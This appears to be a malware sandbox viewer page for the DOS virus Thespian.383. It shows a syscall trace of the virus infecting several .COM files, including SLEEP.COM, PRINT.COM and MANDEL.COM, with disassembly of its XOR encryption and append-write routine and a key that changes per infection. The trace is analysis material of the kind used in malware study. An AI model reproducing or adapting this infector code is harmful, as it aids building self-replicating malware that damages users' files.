Sample viewer

vx.netlux.org/Virus.DOS.VCC.Thespian.383

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:20.439990757Z 26 PC: 12a6a | Set disk transfer address
2018-12-17T22:46:20.441286169Z 78 PC: 12a83 | Find first file
2018-12-17T22:46:20.44888425Z 61 PC: 12b0d | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:46:20.456276253Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.463418357Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.466420225Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.468757023Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.472069134Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.474326404Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.479402467Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.497085258Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.505582136Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.514031446Z 61 PC: 12b0d | Open file (Filename = 'PRINT.COM')
2018-12-17T22:46:20.521453605Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.530679362Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.533991002Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.5361566Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.539125055Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.541691395Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x3f
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.544339528Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.547436294Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.555653107Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.562700964Z 61 PC: 12b0d | Open file (Filename = 'HELLO.COM')
2018-12-17T22:46:20.570452131Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.577940977Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.58049349Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.582291848Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.586319362Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.588795944Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x44
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.591790287Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.595072201Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.604144851Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.607510282Z 61 PC: 12b0d | Open file (Filename = 'PHANG.COM')
2018-12-17T22:46:20.614654159Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.622048256Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.62471806Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.626143587Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.628330234Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.63067058Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x4a
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.632788448Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.635411444Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.643261387Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.646102152Z 61 PC: 12b0d | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:46:20.653089767Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.659986199Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.661672295Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.66339474Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.667211969Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.668794422Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x4a
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.671096145Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.674911811Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.682080715Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.684658226Z 61 PC: 12b0d | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:46:20.690822834Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.696584536Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.697968254Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.699599317Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.702277477Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.703617885Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x4f
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.705557689Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.712553086Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.719683218Z 79 PC: 12a83 | Find next file
2018-12-17T22:46:20.721859726Z 61 PC: 12b0d | Open file (Filename = 'PAH.COM')
2018-12-17T22:46:20.728018923Z 63 PC: 12b1c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.734516126Z 66 PC: 12b2b | Move file pointer
2018-12-17T22:46:20.735734565Z 66 PC: 12b3a | Move file pointer
2018-12-17T22:46:20.737389753Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.740187117Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:46:20.74290969Z 44 PC: 12b56 | Get time 0x12b56: mov byte ptr [bp + 0x139], dl
0x12b5a: call 0x12b70
0x12b5d: mov ah, 0x40
0x12b5f: mov cx, 0x139
0x12b62: lea dx, word ptr [bp + 6]
0x12b66: int 0x21
0x12b68: call 0x12b70
0x12b6b: mov ah, 0x3e
0x12b6d: int 0x21
0x12b6f: ret
0x12b70: lea si, word ptr [bp + 0x17]
0x12b74: mov cx, 0x103
0x12b77: xor byte ptr [si], 0x4f
0x12b7a: inc si
0x12b7b: dec cx
0x12b7c: jne 0x12b77
0x12b7e: ret
0x12b7f: add word ptr [bx], di
0x12b81: aas
0x12b82: aas
2018-12-17T22:46:20.745960701Z 64 PC: 12b68 | Write file or device (Write 313 bytes on handle 5)
2018-12-17T22:46:20.748823868Z 62 PC: 12b6f | Close file
2018-12-17T22:46:20.758801828Z 26 PC: 12a93 | Set disk transfer address